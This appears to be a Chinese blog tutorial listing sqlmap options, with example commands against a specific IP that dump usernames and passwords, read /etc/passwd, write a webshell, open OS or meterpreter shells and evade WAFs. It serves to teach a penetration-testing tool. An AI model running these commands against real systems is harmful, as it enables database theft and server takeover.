sqlmap 注入教程 常用命令大全

2021/5/19 19:26:50

本文主要是介绍sqlmap 注入教程 常用命令大全,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!

sqlmap 官网:http://sqlmap.org/
sqlmap文档地址:https://github.com/sqlmapproject/sqlmap/wiki/Usage
–hh 帮助手册 详细

sqlmap.py -u “注入地址” --dbs // 列举数据库
sqlmap.py -u “注入地址” --current-db // 当前数据库
sqlmap.py -u “注入地址” --users // 列数据库用户
sqlmap.py -u “注入地址” --current–user // 当前用户
sqlmap.py -u “注入地址” --tables -D “数据库” // 列举数据库的表名
sqlmap.py -u “注入地址” --columns -T “表名” -D “数据库” // 获取表的列名
sqlmap.py -u “注入地址” --dump -C “列名字” -T “表名字” -D “数据库” //获取数据库下表的列信息

例如:
sqlmap.py -u “http://219.153.49.228:44109/new_list.php?id=1” --dbs //爆库
sqlmap.py -u “http://219.153.49.228:44109/new_list.php?id=1” -D stormgroup --tables //爆表
sqlmap.py -u “http://219.153.49.228:44109/new_list.php?id=1” -D stormgroup -T member --columns 爆列
sqlmap.py -u “http://219.153.49.228:44109/new_list.php?id=1” -D stormgroup -T member -C name,password --dump 爆字段值

测试 一下!!!!!!!!!!

COOKIE注入
–cookie 指定cookie 引号引起来 十多个cookie ; 隔开 --cookie=“cookie1=123456;cookie2-=12345”
常加的其他命令
–batch 自动回回答yes,no
-p 指定注入点
–users 用户
–current-user 当前用户
–current-db 当前数据库
–is-dba 当前用户权限
–hostname 主机名
–risk 指定风险等级 执行测试的风险(0-3,默认为1)risk越高,越慢但是越安全
–level 指定检测等级 sqlmap默认测试所有的GET和POST参数,当–level的值大于等于2的时候会测试HTTP Cookie头的值,最高为5
–sql-shell 数据库shell控制台 执行指定sql命令
–os-shell 操作系统shell,需要对网站目录有写权限 否则会失败,不常用
–purge 【重新扫描(–purge 删除原先对该目标扫描的记录)

Options

  1. -h, --help 查看帮助,没什么好说的
  2. -hh 查看全部的帮助
  3. –version 查看版本
  4. -v 显示信息的级别,一共有六级:0:只显示python 错误和一些严重信息;1:显示基本信息(默认);2:显示debug信息;3:显示注入过程的payload;4:显示http请求包;5:显示http响应头;7:显示http相应页面。

Target

  1. -d 直接连目标后端接数据库,而不是使用sql注入漏洞,直接通过目标的侦听端口连接,当然需要有目标数据库的账号名和密码。例:-d “mysql://user:password@192.168.75.128:3389/databasename” --dbs
    查询非常快。
  2. -u 指定一个url连接,url中必须有?xx=xx 才行(最常用的参数)例:-u “www.abc.com/index.php?id=1”
  3. -l 后接一个log文件,可以是burp等的代理的log文件,之后sqlmap会扫描log中的所有记录。例: -l log.txt
  4. -x 站点地图,提交给sql一个xml文件。
  5. -m 后接一个txt文件,文件中是多个url,sqlmap会自动化的检测其中的所有url。例: -m target.txt
  6. -r 可以将一个post请求方式的数据包保存在一个txt中,sqlmap会通过post方式检测目标。例: -r post.txt
  7. -g 使用google引擎搜索类似的网址,并且多目标检测。例: -g “inurl:”.php?id=1"" \是转义
  8. -c 将使用的命令写在一个文件中,让sqlmap执行文件中的命令,我们可以用–save命令将配置写入文件。

Request

  1. –method=METHOD 指定是get方法还是post方法。例: --method=GET --method=POST
  2. –data=DATA 指明参数是哪些。例:-u “www.abc.com/index.php?id=1” --data=“name=1&pass=2”
  3. –param-del=PARA. 指明使用的变量分割符。例: -u “www.abc.com/index.php?id=1” --data=“name=1;pass=2” --param-del=";"
  4. –cookie=COOKIE 指定测试时使用的cookie,通常在一些需要登录的站点会使用。例: -u “www.abc.com/index.php?id=1” --cookie=“a=1;b=2”
  5. –cookie-del=COO… 和前面的 --param-del=PARA. 类似,就是指明分割cookie的字符。
  6. –load-cookies=L… 从包含Netscape / wget格式的cookie的文件中加载cookie。
  7. –drop-set-cookie 默认情况下,sqlmap是开启set-cookie功能的,也就是当收到一个含有set-cookie的http包的时候,下次sql会使用新的cookie进行发包,如果使用这条命令,就会关闭这个功能。在level>=2时会检测cookie注入。
  8. –user-agent=AGENT 指定一个user-agent的值进行测试。例: --user-agent=“aaaaaaa” 默认情况下,sqlmap会使用自己的user-agent进行测试(所以很多服务器发现user-agent是sqlmap的数据包直接认为是入侵),sqlmap自己的user-agent是:sqlmap/1.0-dev-nongit-201603020a89(http://sqlmap.org)
  9. –random-agent 使用随机user-agent进行测试。sqlmap有一个文件中储存了各种各样的user-agent,文件在sqlmap/txt/user-agent.txt
    在level>=3时会检测user-agent注入。
  10. –host=HOST 指定http包中的host头参数。例: --host=“aaaaaa” 在level>=5时才会检查host头注入。\n是换行
  11. –referer=REFERER 指定http包中的refere字段。例: --refere=“aaaaa” 在level>=3时才会检测refere注入。
  12. -H --headers 额外的header头,每个占一行。例:–headers=“host:www.a.com\nUser-Agent:yuangh”
  13. –headers=HEADERS 跟上边一样,再举一个例子: --headers=“Accept-Language: fr\nETag: 123” 注意所有构造http包的部分均区分大小写
  14. –auth-type=AUTH… 基于http身份验证的种类。例: --auth-type Basic/Digest/NTLM 一共有三种认证方式。
  15. –auth-cred=AUTH… 使用的认证,例: --auth-type Basic --auth-cred “user:password”
  16. –auth-file=AUTH… 使用.PEM文件中的认证。例:–auth-file=“AU.PEM” 少见。
  17. –ignore-code=IG… 无视http状态码。例: --ignore-code=401
  18. –ignore-proxy 无视本地的代理,有时候机器会有最基本的代理配置,在扫描本地网段的时候会很麻烦,使用这个参数可以忽略代理设置。
  19. –ignore-redirects 无视http重定向,比如登录成功会跳转到其他网页,可使用这个忽略掉。
  20. –ignore-timeouts 忽略连接超时。
  21. –proxy=PROXY 指定一个代理。例: --proxy=“127.0.0.1:8087” 使用GoAgent代理。
  22. –proxy-cred=PRO… 代理需要的认证。例: --proxy=“name:password”
  23. –proxy-file=PRO… 从一个文件加载代理的认证。
  24. –tor 使用tor匿名网络,不懂。
  25. –tor-port=TORPORT 设置默认的tor代理端口,不懂+2。
  26. –tor-type=TORTYPE 设置tor代理种类,(HTTP, SOCKS4 or SOCKS5 (默认)),不懂+3。
  27. –check-tor 检查是否正确使用Tor,不懂+4。
  28. –delay=DELAY 每次发包的延迟时间,单位为秒,浮点数。例:–delay 2.5 有时候频繁的发包会引起服务器注意,需要使用delay降低发包频率。
  29. –timeout=TIMEOUT 请求超时的时间,单位为秒,浮点数,默认30s。
  30. –retries=RETRIES 超时重连次数,默认三次。例: --retries=5
  31. –randomize=RPARAM 参数的长度,类型与输入值保持一致的前提下,每次请求换参数的值。有时候反复的提交同一个参数会引起服务器注意。
  32. –safe-url=SAFEURL 用法和-u类似,就是一个加载测试url的方法,但额外功能是防止有时候时间长了不通讯服务器会销毁session,开启这种功能会隔一段时间发一个包保持session。
  33. –safe-post=SAFE… 和上面的一样,只是使用post的方式发送数据。
  34. –safe-req=SAFER… 和上面的一样,只是从一个文件获得目标。
  35. –safe-freq=SAFE… 频繁的发送错误的请求,服务器也会销毁session或者其他惩罚方式,开启这个功能之后,发几次错的就会发一次对的。通常用于盲注。
  36. –skip-urlencode 跳过url编码,毕竟不排除有的奇葩网站url不遵守RFC标准编码。
  37. –csrf-token=CSR… 保持csrf令牌的token。
  38. –csrf-url=CSRFURL 访问url地址获取csrf的token。
  39. –force-ssl 强制使用ssl。
  40. –hpp 使用http参数污染,通常http传递参数会以名称-值对的形势出现,通常在一个请求中,同样名称的参数只会出现一次。但是在HTTP协议中是允许同样名称的参数出现多次的,就可能造成参数篡改。
  41. –eval=EVALCODE 执行一段指定的python代码。例: -u “www.abc.com/index.php?id=1” --eval=“import
    hashlib;hash=hashlib.md5(id).hexdigest()”

Optimization

  1. -o 开启下面三项(–predict-output,–keep-alive, --null-connection)
  2. –predict-output 预设的输出,可以理解为猜一个表存在不存在,根据服务器返回值来进行判断,有点类似暴力破解,但和暴力破解又不同,这个是一个范围性的暴力破解,一次一次的缩小范围。
  3. –keep-alive 使用http(s)长链接,性能更好,避免重复建立链接的开销,但占用服务器资源,而且与–proxy不兼容。
  4. –null-connection 只看页面返回的大小值,而不看具体内容,通常用于盲注或者布尔的判断,只看对错,不看内容。
  5. –threads=5THREADS 开启多线程,默认为1,最大10。和 --predict-output 不兼容。

Injection

  1. -p TESTPARAMETER 知道测试的参数,使用这个的话–level 参数就会失效。例: -p “user-agent,refere”
  2. –skip=SKIP 排除指定的参数。例: --level 5 --skip=“id,user-agent”
  3. –skip-static 跳过测试静态的参数。
  4. ==–param-exclude=… 使用正则表达式跳过测试参数。
  5. –dbms=DBMS 指定目标数据库类型。例: --dbms=“MySQL<5.0>” Oracle<11i> Microsoft SQL Server<2005>
  6. –dbms-cred=DBMS… 数据库的认证。利: --dbms-cred=“name:password”
  7. –os=OS 指定目标操作系统。例: --os=“Linux/Windows”
  8. –invalid-bignum 通常情况下sqlmap使用负值使参数失效,比如id=1->id=-1,开启这个之后使用大值使参数失效,如id=9999999999。
  9. –invalid-logical 使用逻辑使参数失效,如id=1 and 1=2。
  10. –invalid-string 使用随机字符串使参数失效。
  11. –no-cast 获取数据时,sqlmap会将所有数据转换成字符串,并用空格代替null。
  12. –no-escape 用于混淆和避免出错,使用单引号的字符串的时候,有时候会被拦截,sqlmap使用char()编码。例如:select “a”->
    select char(97)。
  13. –prefix=PREFIX 指定payload前缀,有时候我们猜到了服务端代码的闭合情况,需要使用这个来指定一下。例: -u “www.abc.com/index?id=1” -p id --prefix")" --suffix “and (‘abc’='abc”
  14. –suffix=SUFFIX 指定后缀,例子同上。
  15. –tamper=TAMPER 使用sqlmap自带的tamper,或者自己写的tamper,来混淆payload,通常用来绕过waf和ips。

Detection

  1. –level=LEVEL 设置测试的等级(1-5,默认为1)lv2:cookie; lv3:user-agent,refere; lv5:host 在sqlmap/xml/payloads文件内可以看见各个level发送的payload
  2. –risk=RISK 风险(1-4,默认1)升高风险等级会增加数据被篡改的风险。risk 2:基于事件的测试;risk 3:or语句的测试;risk 4:update的测试
  3. –string=STRING 在基于布尔的注入时,有的时候返回的页面一次一个样,需要我们自己判断出标志着返回正确页面的标志,会根据页面的返回内容这个标志(字符串)判断真假,可以使用这个参数来制定看见什么字符串就是真。
  4. –not-string=NOT… 同理,这个参数代表看不见什么才是真。
  5. –regexp=REGEXP 通常和上面两种连用,使用正则表达式来判断。
  6. –code=CODE 也是在基于布尔的注入时,只不过指定的是http返回码。
  7. –text-only 同上,只不过指定的是页面里的一段文本内容。
  8. –titles 同上,只不过指定的是页面的标题。

Techniques

  1. –technique=TECH 指定所使用的技术(B:布尔盲注;E:报错注入;U:联合查询注入;S:文件系统,操作系统,注册表相关注入;T:时间盲注; 默认全部使用)
  2. –time-sec=TIMESEC 在基于时间的盲注的时候,指定判断的时间,单位秒,默认5秒。
  3. –union-cols=UCOLS 联合查询的尝试列数,随level增加,最多支持50列。例: --union-cols 6-9
  4. –union-char=UCHAR 联合查询默认使用的占列的是null,有些情况null可能会失效,可以手动指定其他的。例: --union-char 1
  5. –union-from=UFROM 联合查询从之前的查询结果中选择列,和上面的类似。
  6. –dns-domain=DNS… 如果你控制了一台dns服务器,使用这个可以提高效率。例: --dns-domain 123.com
  7. –second-order=S… 在这个页面注入的结果,在另一个页面显示。例: --second-order 1.1.1.1/b.php

Fingerprint

  1. -f, --fingerprint 指纹信息,返回DBMS,操作系统,架构,补丁等信息。

Enumeration

  1. -a, --all 查找全部,很暴力。直接用-a
  2. -b, --banner 查找数据库管理系统的标识。直接用-b
  3. –current-user 当前用户,常用,直接用–current-user
  4. –current-db 当前数据库,常用,直接用–current-db
  5. –hostname 主机名,直接用–hostname
  6. –is-dba 当前用户权限
  7. –users 查询一共都有哪些用户,常用,直接用–users
  8. –passwords 查询用户密码的哈希,常用,直接用–passwords
  9. –privileges 查看特权,常用。例: --privileges -U username (CU 就是当前用户)
  10. –roles 查看一共有哪些角色(权限),直接用–roles
  11. –dbs 目标服务器中有什么数据库,常用,直接用–dbs
  12. –tables 目标数据库有什么表,常用,直接用–tables
  13. –columns 目标表中有什么列,常用,直接用–colums
  14. –schema 目标数据库数据库系统管理模式。
  15. –count 查询结果返回一个数字,即多少个。
  16. –dump 查询指定范围的全部数据。例: --dump -D admin -T admin -C username
  17. –dump-all 查询全部数据。例: --dump-all --exclude-sysdbs
  18. –search 搜索列、表和/或数据库名称。
  19. –comments 检索数据库的备注。
  20. -D DB 指定从某个数据库查询数据,常用。例: -D admindb
  21. -T TBL 指定从某个表查询数据,常用。例: -T admintable
  22. -C COL 指定从某个列查询数据,常用。例: -C username
  23. -X EXCLUDE 指定数据库的标识符。
  24. -U USER 一个用户,通常和其他连用。例: --privileges -U username (CU 就是当前用户)
  25. –exclude-sysdbs 除了系统数据库。
  26. –pivot-column=P… 枢轴列名,不懂。
  27. –where=DUMPWHERE 在dump表时使用where限制条件。
  28. –start=LIMITSTART 设置一个起始,通常和–dunmp连用。
  29. –stop=LIMITSTOP 同上,设置一个结束。
  30. –first=FIRSTCHAR 以第一个查询输出的字符检索,不懂。
  31. –last=LASTCHAR 以最后一个查询输出的字符检索,不懂+2。
  32. –sql-query=QUERY 执行一个sql语句。
  33. –sql-shell 创建一个sql的shell。
  34. –sql-file=SQLFILE 执行一个给定文件中的sql语句

Brute force

  1. –common-tables 检查有没有记录表信息的公共表,比如mysql>=5.0会有一个information_schema库,储存了整个数据库的基本信息。有这个会方便很多。
  2. –common-columns 有没有记录公共列的表,比如Access就没有列信息。这两种方法都会使用暴力破解。

User-defined function injection

  1. –udf-inject 编译共享库创建并上传至DB Server,生成UDF实现高级注入,不懂。
  2. –shared-lib=SHLIB 同上,不懂。

File system access

  1. –file-read=RFILE 读取目标站点的一个文件。例: --file-read="/etc/password"
  2. –file-write=WFILE 写入到目标站点的一个文件,通常和–sql-query 连用。例: --sql-query="select “一句话木马” --file-write=“shell.php”
  3. –file-dest=DFILE 同上,只是使用绝对路径写入。

Operating system access

  1. –os-cmd=OSCMD 执行一句系统命令。例: --os-shell=“ipconfig -all”
  2. –os-shell 创建一个对方操作系统的shell,远程执行系统命令。直接用即可–os-shell
  3. –os-pwn 同上,获取一个OOB shell,meterpreter或VNC。
  4. –os-smbrelay 同上,一键获取一个OOB shell,meterpreter或VNC。
  5. –os-bof 利用缓冲区溢出。
  6. –priv-esc 自动提权,数据库进程用户权限提升。
  7. –msf-path=MSFPATH Metasploit Framework本地的安装路径。
  8. –tmp-path=TMPPATH 远程临时文件目录的绝对路径。

Windows registry access

  1. –reg-read 读一个Windows注册表。
  2. –reg-add 添加一个注册表。
  3. –reg-del 删一个注册表。
  4. –reg-key=REGKEY 和之前连用,注册表key值。
  5. –reg-value=REGVAL 和之前连用,注册表值。
  6. –reg-data=REGDATA 和之前连用,注册表数据。
  7. –reg-type=REGTYPE 和之前连用,注册表类别。

General

  1. -s SESSIONFILE 从一个文件加载保存的session。
  2. -t TRAFFICFILE 记录流文件的保存位置。
  3. –batch 批处理,在检测过程中会问用户一些问题,使用这个参数统统使用默认值。
  4. –binary-fields=… 指定二进制结果的字段。
  5. –check-internet 在评估目标之前检查互联网连接,新功能。
  6. –crawl=CRAWLDEPTH 从起始位置爬取的深度。例: --crawl=3
  7. –crawl-exclude=… 除了哪些页面之外全部爬取。例: --crawl-exclude=“abc.com/logout.php”
  8. –csv-del=CSVDEL 指定在CSV输出中使用的分隔字符。
  9. –charset=CHARSET 强制字符串编码。例: --charset=GBK
  10. –dump-format=DU… 转储数据的格式 ,有(CSV (默认), HTML,SQLITE)三种。
  11. –encoding=ENCOD… 用于数据检索的字符编码。例: --encoding=GBK
  12. –eta 显示每个输出的预计到达时间 。
  13. –flush-session 清空会话信息。
  14. –forms 在目标URL上解析和测试表单。
  15. –fresh-queries sqlmap每次查询都会讲查询结果储存在.sqlmap文件夹中,下次再有相同测查询会调用上次的查询结果,使用这个参数可以忽略文件中有的记载结果,重新查询。
  16. –har=HARFILE 将所有http流量记录在一个har文件中。
  17. –hex dump非ascii字符时,将其编码为16进制,收到后解码还原。
  18. –output-dir=OUT… 输出结果至文件。例: --output-dir=/tmp
  19. –parse-errors 解析并显示报错信息。
  20. –save=SAVECONFIG 将使用的命令保存到配置ini文件
  21. –scope=SCOPE 和==-l==类似,只是这个可以过滤信息,使用正则表达式过滤网址。
  22. –test-filter=TE… 根据有效负载和/或标题,不懂。
  23. –test-skip=TEST… 根据有效负载和/或标题跳过测试,不懂+2。
  24. –update 更新sqlmap。

Miscellaneous

  1. -z MNEMONICS 参数助记符,比较傻的一个功能。例: -z “bat,randoma,ign,tec=BEU” 其实就是只要你写的字母可以唯一匹配其他参数,就可以生效。
  2. –alert=ALERT 在找到SQL注入时运行主机OS命令。
  3. –answers=ANSWERS 设置问题答案,在刚刚的–batch 可以跳过很多问题,但只是选择默认值,可以使用者个参数对特定问题设定特定答案。例: --answer “extending=N”
  4. –beep 在问题和/或当SQL注入被发现时发出嘟嘟声。。。。。。。。。
  5. –cleanup 从SqLMAP特定的UDF和表中找数据库,类似暴力破解。
  6. –dependencies 检查缺少的Sql映射依赖项。
  7. –disable-coloring 禁用控制台输出着色。
  8. –gpage=GOOGLEPAGE 在指定页使用google结果,不懂。
  9. –identify-waf 识别目标的防火墙。
  10. –mobile cosplay 手机。
  11. –offline 在脱机模式下工作。
  12. –purge-output 情况输出文件夹。
  13. –skip-waf 跳过WAF/IPS/IDS保护的启发式检测。
  14. –smart 有大量检测目标时候,只选择基于错误的检测。
  15. –sqlmap-shell 创建一个交互的sqlmap_shell,不懂。
  16. –tmp-dir=TMPDIR 更改存储临时文件的本地目录。
  17. –web-root=WEBROOT 设置Web服务器文档根目录。例: --web-root="/var/www"
  18. –wizard 新手教程。


这篇关于sqlmap 注入教程 常用命令大全的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!


扫一扫关注最新编程教程